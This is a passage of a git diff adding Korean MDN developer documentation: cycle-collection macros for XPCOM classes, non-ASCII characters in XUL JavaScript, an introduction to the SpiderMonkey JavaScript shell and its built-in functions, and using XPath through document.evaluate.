순환 수집기와 여러분의 클래스 사이의 인터페이스는 <tt>xpcom/base/nsCycleCollector.h</tt>의 내용을 사용하여 직접 접근할 수 있습니다. 하지만 <tt>xpcom/base/nsCycleCollectionParticipant.h</tt>에는 여러분의 클래스에 추가할 수 있는 편리한 매크로가 있으며 이는 훨씬 사용하기 쉽습니다. 일반적으로, 수정해야 할 <tt>nsFoo</tt> 클래스가 있고 두 개의 <tt>nsCOMPtr</tt> 모서리인 <tt>mBar</tt>와 <tt>mBaz</tt>가 있다고 가정하면, 처리 과정은 몇 가지 간단한 수정이 됩니다.

+
    +
  1. <tt>nsCycleCollectionParticipant.h</tt> 헤더를 <tt>nsFoo.h</tt>와 <tt>nsFoo.cpp</tt>에 모두 포함합니다.
  2. +
  3. <tt>nsFoo</tt>의 정의에서 <tt>NS_DECL_ISUPPORTS</tt>를 <tt>NS_DECL_CYCLE_COLLECTING_ISUPPORTS</tt>로 바꿉니다.
  4. +
  5. <tt>nsFoo</tt> 정의의 public 부분에 <tt>NS_DECL_CYCLE_COLLECTION_CLASS(nsFoo)</tt>를 추가합니다.
  6. +
  7. <tt>nsFoo.cpp</tt>에서 <tt>nsFoo</tt>의 인터페이스 정의에 <tt>NS_INTERFACE_MAP_ENTRIES_CYCLE_COLLECTION(nsFoo)</tt>를 추가합니다.
  8. +
  9. <tt>nsFoo.cpp</tt>에서 <tt>NS_IMPL_ADDREF(nsFoo)</tt>를 <tt>NS_IMPL_CYCLE_COLLECTING_ADDREF(nsFoo)</tt>로 바꿉니다.
  10. +
  11. <tt>nsFoo.cpp</tt>에서 <tt>NS_IMPL_RELEASE(nsFoo)</tt>를 <tt>NS_IMPL_CYCLE_COLLECTING_RELEASE(nsFoo)</tt>로 바꿉니다.
  12. +
  13. <tt>nsFoo.cpp</tt>에서 <tt>NS_IMPL_CYCLE_COLLECTION_CLASS_2(nsFoo, mBar, mBaz)</tt>를 추가합니다.
  14. +
+

여러분의 클래스는 이 그림보다 훨씬 더 복잡한 구조를 가지고 있을 가능성이 있습니다. 예를 들어, 여러분의 클래스는 여러 개의 <tt>nsISupports</tt> 기반 클래스를 가질 수 있으며 이는 애매함을 제거하는 다운캐스트(disambiguating downcast)를 수행하는 <tt>*_AMBIGUOUS</tt> 매크로 사용을 필요로 합니다. 또한 여러분의 클래스는 간단한 <tt>NS_IMPL_CYCLE_COLLECTION_CLASS_ + + N + </tt> 매크로는 충분하지 않은 복잡한 소유 구조를 가질 수 있습니다. 이 경우에 여러분은 도우미 클래스의 + + Traverse + 와 + + Unlink + 메소드를 직접 구현해야 합니다. 이러한 경우에도 <tt>NS_IMPL_CYCLE_COLLECTION_TRAVERSE_{BEGIN,END}</tt>와 <tt>NS_IMPL_CYCLE_COLLECTION_UNLINK_{BEGIN,END}</tt> 매크로를 사용하는 것이 도움이 됩니다. 그것을 사용하는 예제는 <tt>content/base/src/nsGenericElement.cpp</tt>와 같은 더 복잡한 클래스에서 볼 수 있습니다. 클래스가 티어오프(tearoff)를 가지고 있거나 다른 클래스에 결합(aggregate)된 경우에는 티어오프 클래스나 외부 클래스도 순환 수집에 참여시키는 것이 중요합니다. 그렇게 하지 않으면 순환 수집기가 개체를 너무 빨리 수집하도록 만듭니다.

+

 

+
+  
+

diff --git a/files/ko/international_characters_in_xul_javascript/index.html b/files/ko/international_characters_in_xul_javascript/index.html new file mode 100644 index 0000000000..9a4b6c10e2 --- /dev/null +++ b/files/ko/international_characters_in_xul_javascript/index.html @@ -0,0 +1,27 @@ +--- +title: International characters in XUL JavaScript +slug: International_characters_in_XUL_JavaScript +tags: + - Internationalization + - JavaScript +translation_of: Archive/Mozilla/XUL/International_characters_in_XUL_JavaScript +--- +

개요

+

Firefox 1.5와 다른 어플리케이션에서 사용되는 Gecko 1.8에서는 XUL 파일에서 로드되는 JavaScript 파일에 non-ASCII 캐릭터를 포함시킬 수 있습니다.

+

이는 세계에서 사용하는 모든 언어의 모든 문자를 스크립트 파일에서 사용할 수 있다는 의미입니다. 예를 들어 스크립트 파일에 이런 내용을 포함시킬 수 있습니다.

+
var text = "Ein schönes Beispiel eines mehrsprachigen Textes: 日本語";
+
+

일본어와 독일어 문자를 섞어 쓴 것입니다.

+

이전 버전에서는 XUL에서 로드되는 JS 파일은 로컬에서나 원격에서나 항상 ISO-8859-1 (Latin-1) 인코딩으로 해석되었습니다. 아래쪽에서 논의할 유니코드 이스케이프는 항상 동작했습니다.

+

Gecko 1.8 이후 버전에서 문자 인코딩이 결정되는 방법

+

JavaScript 파일이 chrome:// URL에서 로드될 때, 스크립트의 인코딩을 결정하는데 Byte Order Mark (BOM)이 사용됩니다. 이외의 경우에는 XUL 파일(<?xml?> 태그의 encoding 속성으로 지정 가능)과 같은 문자 인코딩을 사용합니다. XUL 파일의 기본 인코딩은 UTF-8이며, UTF-8은 사실상 세계의 모든 문자를 표현할 수 있습니다.

+

스크립트 파일이 HTTP를 통해서 로드된다면 HTTP 헤더에 Content-Type 헤더의 일부로 캐릭터 인코딩이 포함될 수 있습니다. 예를 들면 이런 형식입니다.

+
Content-Type: application/x-javascript; charset=UTF-8
+
+

문자 집합(charset)이 지정되지 않으면 앞의 경우와 동일하게 캐릭터셋이 결정됩니다.

+

버전 간 호환성

+

Gecko 1.8과 이전 버전에서 동일한 코드를 사용하려고 한다면 ASCII 문자만을 사용해야 합니다. 그러나 유니코드 이스케이프를 사용할 수는 있습니다. – 앞에서 나온 예제를 유니코드 이스케이프를 사용해서 표현하면 다음과 같습니다.

+
var text = "Ein sch\u00F6nes Beispiel eines mehrsprachigen Textes: \u65E5\u672C\u8A9E";
+
+

이 방법 대신 nsIStringBundle이나 XUL <stringbundle> 요소를 통해 속성 파일(property files)을 사용할 수도 있습니다. 그렇게 하면 XUL을 지역화할 수 있습니다. 그러나 권한을 얻을 수 있는 코드 즉, 확장 기능의 코드에서만 가능하고, 웹으로 로드되는 XUL 파일에서는 사용할 수 없는 방법입니다.

+

diff --git a/files/ko/introduction_to_the_javascript_shell/index.html b/files/ko/introduction_to_the_javascript_shell/index.html new file mode 100644 index 0000000000..4368cb8c52 --- /dev/null +++ b/files/ko/introduction_to_the_javascript_shell/index.html @@ -0,0 +1,438 @@ +--- +title: Introduction to the JavaScript shell +slug: Introduction_to_the_JavaScript_shell +tags: + - 스파이더몽키 +translation_of: Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell +--- +

{{SpiderMonkeySidebar("General")}}

+ +

자바스트립트 셸(JavaScript shell)은 스파이더몽키에 포함된 커맨드라인 프로그램입니다. 이는 파이썬의 인터랙티브 프롬프트, Lisp read-eval-print 루프, 또는 루비의 irb와 같습니다. 이 문서는 셸을 이용해 자바스크립트 코드를 시험하고, 자바스크립트 프로그램을 실행하는 방법에 대해 소개합니다.

+ +

스파이더몽키 자바스크립트 셸을 설치하기 위해서는 SpiderMonkey Build Documentation를 참고하거나, Nightly Builds에서 사용 중인 플랫폼에 맞는 컴파일된 바이너리를 다운로드하세요.

+ +

다른 자바스크립트 셸 리스트를 보고 싶다면 JavaScript shells를 참고하세요.

+ +

자바스크립트 셸 설치하기

+ +

CVS 서버에 접속합시다

+ +

CVS에서 다른 모질라와 관련된 프로젝트의 산물을 얻는 것과 마찬가지로 자바스크립트 셸을 사용하려면 먼저 CVS 서버에 로그인해야 합니다. cd 명령을 사용하여 코드를 체크아웃할 기본 디렉토리로 들어가, 다음과 같은 명령어를 명령행에 입력합니다.

+ +
cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot login
+
+ +

프롬프트가 뜨면 패스워드를 입력합니다. anonymous 라고 입력하면 됩니다.

+ +

자바스크립트 셸 트렁크 버전 설치하기

+ +

한번 CVS 서버에 로그인하였으면 필요한 파일을 받아와야 합니다. 트렁크란 CVS에서 중심이 되는 개발 흐름을 말합니다. 트렁크 버전을 다운로드 하기 위해 CVS 트리의 루트로 지정한 디렉토리로 들어가 다음과 같이 명령을 입력합니다.

+ +
cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+
+ +

자바스크립트 셸을 설치하는 데 필요한 모든 파일을 체크아웃하였습니다. 이제 다음과 같은 명령 두개만 입력하면 바로 설치할 수 있습니다:

+ +
cd mozilla/js/src
+make -f Makefile.ref
+
+ +

컴파일이 끝나면 우리가 설치한 디렉토리에 실행할 수 있는 파일인 js가 들어 있어야 합니다. 예를 들어 Mac OS X에서라면, 실행 파일은 Darwin_DBG.OBJ/js의 경로에 놓일 것입니다.

+ +

이 상태에서 바로 자바스크립트 셸 사용하기를 실습해 볼 수도 있습니다.

+ +

자바스크립트 셸 브랜치 버전 설치하기

+ +

간단히 설명하면 브랜치란 중심이 되는 개발 흐름에서 곁가지를 쳐 나온, 작은 부분에 대한 개발 흐름을 뜻합니다. 자바스크립트 셸의 실험적이고 독특한 브랜치 버전을 사용하기를 원한다면 파일을 체크아웃 할 때 -r branchname 을 추가하는 것만으로도 바로 사용할 수 있습니다.

+ +

설치 과정은 트렁크 버전과 같으나, 체크아웃을 할 때 cvs co... 행의 내용이 조금 바뀝니다.

+ +
cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l -rbranch_name mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+
+ +

branch_name을 체크아웃하기 원하는 브랜치 버전의 이름으로 변경하세요. 예를 들어 JavaScript 1.7 의 알파 브랜치인, JS_1_7_ALPHA_BRANCH로 변경할 수 있습니다.

+ +

컴파일하는 방법은 앞서 설명한 방법과 같습니다.

+ +

자바스크립트 셸 사용하기

+ +

자바스크립트 셸은 두가지 모드로 운영할 수 있습니다. 먼저 여러분은 여러분이 새로운 자바스크립트 코드를 테스트하기 위해 프롬프트에 직접 입력하고 결과를 바로 얻는, 인터랙티브 셸로 사용할 수도 있습니다. 혹은 자바스크립트 프로그램 파일을 명령행에 입력하여 실행할 수도 있습니다.

+ +
노트: 자바스크립트 셸은 자바스크립트 엔진을 위한 테스트 환경입니다. 그러므로 사용 가능한 함수나 옵션은 변경될 수 있습니다.
+ +

명령행 옵션

+ +

셸을 설정하고 사용하는 데 필요한 명령들입니다. 간단히 요약하면 다음과 같습니다.

+ + + +

셸 실행하기

+ +

인터랙티브 모드로 셸을 실행하고 싶다면 다음과 같이 입력합니다.:

+ +
js
+
+ +

foo.js라는 파일을 불러 실행하고 싶다면 다음과 같이 입력합니다.:

+ +
js -f foo.js
+
+ +

foo.js를 실행하고 나서 인터랙티브 셸로 전환하고 싶다면 다음과 같이 할 수 있습니다:

+ +
js -f foo.js -f -
+
+ +

인터랙티브 모드에서 셸 사용하기

+ +

인터랙티브 모드에서 당신은 손으로 직접 오브젝트와 함수들을 입력하여 자바스크립트를 실행하고 구문들을 테스트해 볼 수 있습니다. 이것은 우리의 아이디어를 시험해보기 편리한 방법이며, 자바스크립트 엔진을 사용하는 개발자들이 이 언어의 새로운 요소들을 시험해보는 중요한 장이기도 합니다.

+ +

빌트-인 함수

+ +

자바스크립트 셸을 더욱 유용하게 사용하기 위하여, 당신이 자바스크립트 프로그램이나 인터랙티브 모드에서 사용할 수 있는 함수들이 준비되어 있습니다.

+ +

build()

+ +

자바스크립트 셸이 빌드된 시간과 날짜를 반환합니다.

+ +

clear([object] )

+ +

object의 속성들을 비웁니다. 다른 옵션 없이 clear()라고만 실행하면 모든 속성이 초기화됩니다.

+ +
Note: 다른 옵션 없이 clear() 를 실행하면 정말로 모든 것이 지워집니다. 지금 설명하는 빌트-인 함수들도 포함해서 말이지요.
+ +

clone(function, [scope] )

+ +

해당 function의 오브젝트들을 복제합니다. scope가 따로 정해지지 않았다면 새로운 오브젝트의 부모 요소는 기존의 것과 완전히 동일해집니다. 기존 함수에서 일부만을 떼어 복사하고 싶다면 scope로 범위를 지정해 주세요.

+ +

dis([function] )

+ +

다른 프로그램에 사용하거나 특별한 함수로 만들기 위해 자바스크립트를 바이트코드로 만드는(디스어셈블 하는) 함수입니다.

+ +

예를 들어 다음과 같은 자바스크립트가 있다고 합시다.

+ +
function test() {
+  var i = 3;
+  print(i+2);
+}
+
+ +

dis(test);를 실행하면 다음과 같은 결과를 볼 수 있습니다:

+ +
main:
+00000:  uint16 3
+00003:  setvar 0
+00006:  pop
+00007:  name "print"
+00010:  pushobj
+00011:  getvar 0
+00014:  uint16 2
+00017:  add
+00018:  call 1
+00021:  pop
+00022:  stop
+
+Source notes:
+  0:     0 [   0] newline
+  1:     3 [   3] var
+  2:     7 [   4] newline
+  3:    18 [  11] xdelta
+  4:    18 [   0] pcbase   offset 11
+
+ +

dissrc([function] )

+ +

다른 프로그램에 사용하거나 특별한 함수로 만들기 위해 자바스크립트를 바이트코드로 만들고 소스를 보여주는 함수입니다. 이 함수는 파일에서 로딩된 함수에만 적용할 수 있으며, 셸에서 명령을 입력할 때에도 -f 옵션을 주거나 load() 함수를 사용해야 합니다.

+ +

당신의 프로그램에 doStuff() 함수가 포함되어 있다고 가정합시다.

+ +
function doStuff(input) {
+	print("Enter a number: ");
+	var n1 = readline();
+	print("Enter another one: ");
+	var n2 = readline();
+
+	print("You entered " + n1 + " and " + n2 + "\n");
+}
+
+ +

그러면 dissrc(doStuff) 함수를 실행한 결과를 보겠습니다.:

+ +
;-------------------------  10:         print("Enter a number: ");
+00000:  10  name "print"
+00003:  10  pushobj
+00004:  10  string "Enter a number: "
+00007:  10  call 1
+00010:  10  pop
+;-------------------------  11:         var n1 = readline();
+00011:  11  name "readline"
+00014:  11  pushobj
+00015:  11  call 0
+00018:  11  setvar 0
+00021:  11  pop
+;-------------------------  12:         print("Enter another one: ");
+00022:  12  name "print"
+00025:  12  pushobj
+00026:  12  string "Enter another one: "
+00029:  12  call 1
+00032:  12  pop
+;-------------------------  13:         var n2 = readline();
+00033:  13  name "readline"
+00036:  13  pushobj
+00037:  13  call 0
+00040:  13  setvar 1
+00043:  13  pop
+;-------------------------  14:
+;-------------------------  15:         print("You entered " + n1 + " and " + n2 + "\n");
+00044:  15  name "print"
+00047:  15  pushobj
+00048:  15  string "You entered "
+00051:  15  getvar 0
+00054:  15  add
+00055:  15  string " and "
+00058:  15  add
+00059:  15  getvar 1
+00062:  15  add
+00063:  15  string "\\n"
+00066:  15  add
+00067:  15  call 1
+00070:  15  pop
+00071:  15  stop
+
+ +

evalcx(string[, object] )

+ +

Evaluates the JavaScript code instring . Ifobject is specified, the code is executed in that object, treating it as a sandbox.

+ +

Ifstring is empty andobject is not specified, evalcx() returns a new object with eager standard classes.

+ +

Ifstring is "lazy" andobject is not specified, evalcx() returns a new object with lazy standard classes.

+ +
Note: evalcx() is only useful for people doing deep internal work on the JavaScript engine, for testing evalInSandbox-like environments in the shell.
+ +

gc()

+ +

가비지 콜렉터를 실행하여 메모리를 깨끗이 비웁니다.

+ +

getpda(object )

+ +

Returns the property descriptors for the specifiedobject .

+ +

getslx(object )

+ +

Returns the script line extent, which is the number of lines of code comprising the specified object.

+ +

help([command ...] )

+ +

Displays brief help information about the specified commands, or about all available functions if none are specified.

+ +

intern(string )

+ +

Internalizes the specified string into the atom table. Every string has a unique identifier, called an atom. This system makes it easier to do comparisons between strings.

+ +
Note: This function is intended only for use when testing the JavaScript engine.
+ +

line2pc([function, ] line )

+ +

Returns the program counter value corresponding to the specifiedline of code. Iffunction is specified,line is an offset into the specified function.

+ +

load(filename1[filename] )

+ +

Loads the files with the specified names.

+ +

notes([function] )

+ +

Shows the source notes for the specified function. Source notes contain information that map the bytecode to the source code, which is used when decompiling the code, such as when using the dissrc() function.

+ +

options([option ...] )

+ +

Lets you set or get options. If you specified options on the command line, the results of calling options will indicate which options you requested. You can also pass in new options to set.

+ +

If you start the shell with the command js -x, then the options() function will return xml. If you start the shell with no options, and decide you want to enable XML mode, you can do so by issuing the command:

+ +
options('xml');
+
+ +

The available options are:

+ + + + + + + + + + + + + + + + + + + + + + + + +
Option NameDescription
strictStrict 모드를 활성화합니다.
werror경고를 에러로 속여 출력합니다.
atlineWhen atline is enabled, comments of the form //@linenum set the number of the following line to num .
xmlXML 모드를 활성화합니다.
+ +

pc2line(function, [pc] )

+ +

Returns the line number of the JavaScript code that corresponds to the first line of the specifiedfunction . If you specify a program counter offset into the function, the line number of the line of code containing that offset is returned.

+ +

print([expression ...] )

+ +

문자열이면 문자열, 식이면 식으로expression 의 값을 구하여 그 결과를 stdout 으로 출력합니다.

+ +

quit()

+ +

셸에서 빠져나옵니다.

+ +

readline()

+ +

표준 입력으로 읽어들여 호출자에게 되돌려줍니다. 이 함수를 사용하여 자바스크립트에서 인터랙티브 셸 프로그램을 만들 수 있습니다.

+ +

seal(object[, deep] )

+ +

Seals the specifiedobject , or an object graph ifdeep is true. By sealing an object or object graph, you disable modification of those objects.

+ +

stats([string ...] )

+ +

Dumps statistics. Valid options arearena ,atom , andglobal .

+ + + + + + + + + + + + + + + + + + + + +
OptionDescription
arenaOutputs the arena table.
atomOutputs the atom table.
globalOutputs the global name table.
+ +

Anarena is a large block of memory from which the JavaScript engine allocates sub-blocks in order to optimize performance; issuing a large number of malloc() calls for each individual block is inefficient, so the engine creates arenas, then uses an internal memory management system to allocate memory from within those. The arena table is a list of all the arenas that have been allocated by the shell. stats("arena") lets you inspect the arena table so that you can see how a test case uses arenas.

+ +

Anatom is a unique identifier for a string. In order to optimize comparisons between strings, each string is given an atom. These atoms are stored in a hash table, which you can display using the command stats("atom").

+ +

stats("global") displays the global name table, which contains the names and information about each object in memory.

+ +

stringsAreUtf8()

+ +

문자열이 UTF8 형식으로 인코드 되어있을 경우 true를, 그 외의 경우 false를 반환합니다.

+ +

testUtf8(mode )

+ +

UTF-8이 제대로 동작하는지 1에서 4까지의 정수 변수를 입력하여 테스트합니다. 이것은 UTF-8 문자열이 제대로 처리되는지 확인하는 간단한 디버깅 명령으로, 일반적으로는 이 명령을 사용하여 따로 확인하기보다는 자바스크립트 엔진에서 직접 작업하며 확인하는 것이 빠릅니다.

+ +

throwError()

+ +

JS_ReportError() 함수에서 에러를 받아 지정된 방식으로 처리합니다.

+ +
Note: 이 함수는 자바스크립트 엔진을 시험하는 목적으로만 사용하세요.
+ +

tracing([toggle] )

+ +

true 혹은 false로 지정하여 트레이스 모드를 켜거나 끌 때 사용합니다. 따로 설정한 것이 없다면 tracing() 함수는 일반적인 설정사항을 반환할 것입니다.

+ +
Tip: 이 함수는 자바스크립트를 JS_THREADED_INTERP로 빌드했을 때만 사용할 수 있습니다. 이 옵션은 jsinterp.c에서 지정할 수 있습니다.
+ +

trap([function, [pc,]] expression )

+ +

자바스크립트 코드의 지정된 위치에 트랩을 설정합니다. 해당functionpc 오프셋에expression 에 해당하는 바이트 코드를 집어넣을 수 있습니다.

+ +

line2pc()와 함께 사용하면 강력한 디버깅 방법이 됩니다 예를 들어 원래는 doSomething()을 사용하는 함수의 6번째 줄을 실행할 때 메시지를 출력하고 싶다면 다음과 같이 사용할 수 있습니다.

+ +
trap(doSomething, line2pc(test, 6), "print('line 6!\n')");
+
+ +
Note: 트랩이 설정된 동안 프로그램 내의 해당 바이트 코드는 untrap()을 사용하여 트랩을 해제할 때 까지 trap 바이트 코드로 대체됩니다.
+ +

untrap(function [, pc] )

+ +

지정된functionpc 오프셋에서 트랩을 삭제합니다.pc 가 지정되지 않았다면 해당 함수수에 접근할 때 걸리는 트랩을 삭제하게 됩니다. 이 함수는 트랩이 지정되지 않았을 경우에는 아무 동작도 하지 않습니다.

+ +

version([number] )

+ +

version() 함수는 자바스크립트 버전을 반환합니다. 그다지 쓸 일이 있는 함수는 아니지요.

diff --git a/files/ko/introduction_to_using_xpath_in_javascript/index.html b/files/ko/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..e15574b588 --- /dev/null +++ b/files/ko/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,367 @@ +--- +title: Introduction to using XPath in JavaScript +slug: Introduction_to_using_XPath_in_JavaScript +tags: + - Add-ons + - DOM + - Extensions + - Transforming_XML_with_XSLT + - Web Development + - XPath +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +--- +

이 문서는 JavaScript 안, 확장기능, 웹사이트에서 XPath를 사용하기 위한 인터페이스를 설명합니다. Mozilla는 DOM 3 XPath를 상당량 구현합니다. 이것은 XPath 식이 HTML과 XML 문서 모두에서 잘 돌아간다는 것을 뜻합니다.

+ +

XPath를 사용하는 주 인터페이스는 document 개체의 evaluate 함수입니다.

+ +

document.evaluate

+ +

이 메소드는 XML에 기반을 둔 문서(HTML 문서 포함)에 대해 XPath 식을 평가하고 단일 노드나 노드 집합일 수 있는 XPathResult 개체를 반환합니다. 이 메소드를 다루는 기존 문서는 여기에 있지만 당장 우리 필요에 좀 부족하여, 더 이해가 빠른 설명을 아래에 제공합니다.

+ +
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+
+ +

매개변수

+ +

evaluate 함수는 매개변수를 총 5개 취합니다.

+ + + + + + + + + + + +

반환값

+ +

resultType 매개변수에서 지정한 형의 XPathResult 개체인 xpathResult를 반환합니다. XPathResult 인터페이스는 여기에서 정의됩니다.

+ +

Default Namespace Resolver 구현

+ +

우리는 document 개체의 createNSResolver 메소드를 써서 namespace resolver를 만듭니다.

+ +
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+
+ +

Or alternatively by using the <code>createNSResolver</code> method of a <code>XPathEvaluator</code> object. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre> 그리고 나서 document.evaluate 함수에 namespaceResolver 매개변수로 nsResolver 변수를 넘겨줍니다.

+ +

XPath는 null namespace의 단 하나 뿐인 요소와 일치하는 접두사 없는 QNames을 정의함을 유의하세요. XPath에는 기본 namespace를 얻는 방법이 없습니다. null이 아닌 namespace의 요소나 속성을 일치시키려면, 접두사 붙은 이름 검사를 쓰고 접두사를 namespace에 매핑하는 namespace resolver를 만들어야 합니다. 아래 사용자 정의 namespace resolver 만드는 법을 더 읽으세요.

+ +

반환형 지정

+ +

document.evaluate로부터 반환하는 변수 xpathResult는 개별 노드 (단순 형)나 노드 모음(collection) (node-set 형) 가운데 하나로 구성할 수 있습니다.

+ +

단순 형

+ +

resultType으로 바랐던 결과형을 어느 한쪽으로 지정할 때,

+ + + +

우리는 XPathResult 개체의 다음 속성에 각각 접근하여 식의 반환값을 얻습니다.

+ + + +
+ +

다음은 HTML 문서의 <p> 요소수를 얻기 위해 XPath 식 count(//p)을 씁니다.

+ +
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
+
+ +

비록 Javascript가 표시를 위해 숫자를 문자열로 변환하는 것을 허용하더라도, stringValue 속성(property)을 요청하면 XPath 인터페이스는 자동으로 숫자 결과로 변환하지 않습니다. 그래서 다음 코드는 작동하지 '<big>않</big>'습니다.

+ +
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
+
+ +

대신 NS_DOM_TYPE_ERROR 코드를 갖는 예외(exception)를 반환합니다.

+ +

Node-Set 형

+ +

XPathResult 개체는 주요한 3가지 서로 다른 형으로 반환될 node-set을 허용합니다.

+ + + +
반복자(훑개)
+ +

resultType 매개변수로 지정한 결과형이 어느 한쪽일 때,

+ + + +

반환되는 XPathResult 개체는 일치하는 노드(XPathResultiterateNext() 메소드를 써서 포함될 개별 노드에 접근함을 허용하는 반복자로 행동할)의 노드 집합입니다.

+ +

우리가 모든 일치하는 개별 노드에 반복하고 나면, iterateNext()null을 반환합니다.

+ +

그러나 주의하세요, 만약 반복 도중에 문서가 바뀌면 (문서 tree가 변경됨) 그것은 반복을 무효로 만들고(invalidate) XPathResultinvalidIteratorState 속성을 true로 지정하고 NS_ERROR_DOM_INVALID_STATE_ERR 예외를 냅니다.

+ +
반복자 예
+ +
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    alert( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  dump( 'Error: Document tree modified during iteraton ' + e );
+}
+
+ +
Snapshots
+ +

resultType 매개변수로 지정한 결과형이 어느 한쪽일 때,

+ + + +

반환되는 XPathResult 개체는 일치하는 노드의 static node-set이고, 그것은 itemNumber가 검색(retrieve)되는 노드의 index인 XPathResult 개체의 snapshotItem(itemNumber) 메소드를 통해 각 노드에 접근을 허용합니다. 포함되는 노드의 총수는 snapshotLength 속성을 통해 입수할 수 있습니다.

+ +

Snapshot은 변환 문서로 바꾸지 않습니다. 그래서 반복자와는 달리 snapshot은 무효로 만들지는 않지만 현재 문서와 들어맞지 않을지도 모릅니다, 예를 들어 노드가 이동됐을지도 모르고, 더 이상 존재하지 않는 노드나 추가될 수 있는 새 노드를 포함할지도 모릅니다.

+ +
Snapshot 예
+ +
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
+{
+  dump( nodesSnapshot.snapshotItem(i).textContent );
+}
+
+ +
First Node
+ +

resultType 매개변수로 지정한 결과형이 어느 한쪽일 때,

+ + + +

반환되는 XPathResult 개체는 XPath 식과 일치하는 오직 처음 발견한 노드입니다. 이는 XPathResult 개체의 singleNodeValue 속성을 통해 접근할 수 있습니다. 이는 노드 집합이 비면 null입니다.

+ +

순서 없는 subtype인 경우 반환되는 단일 노드가 문서 순으로 처음이 아닐지도 모르지만 순서 있는 subtype인 경우 문서 순으로 처음 일치하는 노드임을 보장함을 유의하세요.

+ +
First Node 예
+ +
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+
+ +

ANY_TYPE 상수

+ +

resultType 매개변수에 결과형을 ANY_TYPE으로 지정할 때, 반환되는 XPathResult 개체는, 식 평가에서 자연스럽게 생긴 어떤 형입니다.

+ +

단순 형( NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE ) 가운데 하나일 수도 있습니다, <big>하지만</big>, 만약 반환되는 결과형이 node-set이면 <big>오직</big> UNORDERED_NODE_ITERATOR_TYPE입니다.

+ +

평가 뒤 형을 결정하기 위해서, 우리는 XPathResult 개체의 resultType 속성을 씁니다. 이 속성의 상수값은 부록에서 정의합니다. None Yet =====Any_Type 예===== <pre> </pre>

+ +

+ +

HTML 문서 안에서

+ +

다음 코드는 XPath 식이 평가될 HTML 문서 안에서나 문서에 연결(link)된 어떤 JavaScript 조각(fragment)에 놓을 셈입니다.

+ +

XPath를 써서 HTML의 모든 <h2> heading 요소를 뽑아내면(extract), xpathExpression 문자열은 간단히 '//h2'입니다. 어떤 점에서, //는 요소 트리 어디에서나 노드명 h2와 요소를 일치시키는 재귀 내림 연산자(Recursive Descent Operator)입니다. 이를 위한 자세한 코드입니다. link to introductory xpath doc

+ +
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+
+ +

HTML이 namespace가 없기 때문에, 우리는 namespaceResolver 매개변수에 null을 넘겨줌을 유의하세요.

+ +

우리가 문서 전체에서 heading을 찾기를 바라기 때문에, 우리는 contextNodedocument 개체 자신을 씁니다.

+ +

이 식의 결과는 XPathResult 개체입니다. 우리가 반환되는 결과형을 알고 싶다면, 우리는 반환되는 개체의 resultType 속성을 평가할지도 모릅니다. 이 경우에는 그것은 값이 4UNORDERED_NODE_ITERATOR_TYPE로 평가합니다. 이는 XPath 식의 결과가 node-set일 때 기본 반환형입니다. 동시에 단일 노드로 접근을 제공하고 특정 순서로 노드를 반환할지도 모릅니다. 반환되는 개체에 접근하기 위해, 우리는 반환되는 개체의 iterateNext() 메소드를 씁니다.

+ +
var thisHeading = headings.iterateNext();
+
+var alertText = 'Level 2 headings in this document are:\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+
+ +

우리가 한 노드를 반복하기만 하면, 우리는 그 노드의 모든 표준 DOM interfaces에 접근할 수 있습니다. 우리 식에서 반환된 모든 h2 요소를 반복한 뒤에, 더 이상의 iterateNext() 호출은 null을 반환합니다.

+ +

확장기능 안에서 XML 문서 평가

+ +

다음은 예로 chrome://yourextension/content/peopleDB.xml에 자리한 XML 문서를 씁니다.

+ +
<?xml version="1.0"?>
+<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
+  <person>
+	<name first="george" last="bush" />
+	<address street="1600 pennsylvania avenue" city="washington" country="usa"/>
+	<phoneNumber>202-456-1111</phoneNumber>
+  </person>
+  <person>
+	<name first="tony" last="blair" />
+	<address street="10 downing street" city="london" country="uk"/>
+	<phoneNumber>020 7925 0918</phoneNumber>
+  </person>
+</people>
+
+ +

확장기능 안에서 XML 문서의 컨텐트를 쓸 수 있게, 우리는 문서를 로드하는 동시에 변수 xmlDoc를 우리가 evaluate 메소드를 쓸 수 있는 XMLDocument 개체로 문서에 포함하는 XMLHttpRequest 개체를 만듭니다,

+ +

JavaScript는 확장기능 xul/js 문서에 씁니다.

+ +
var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
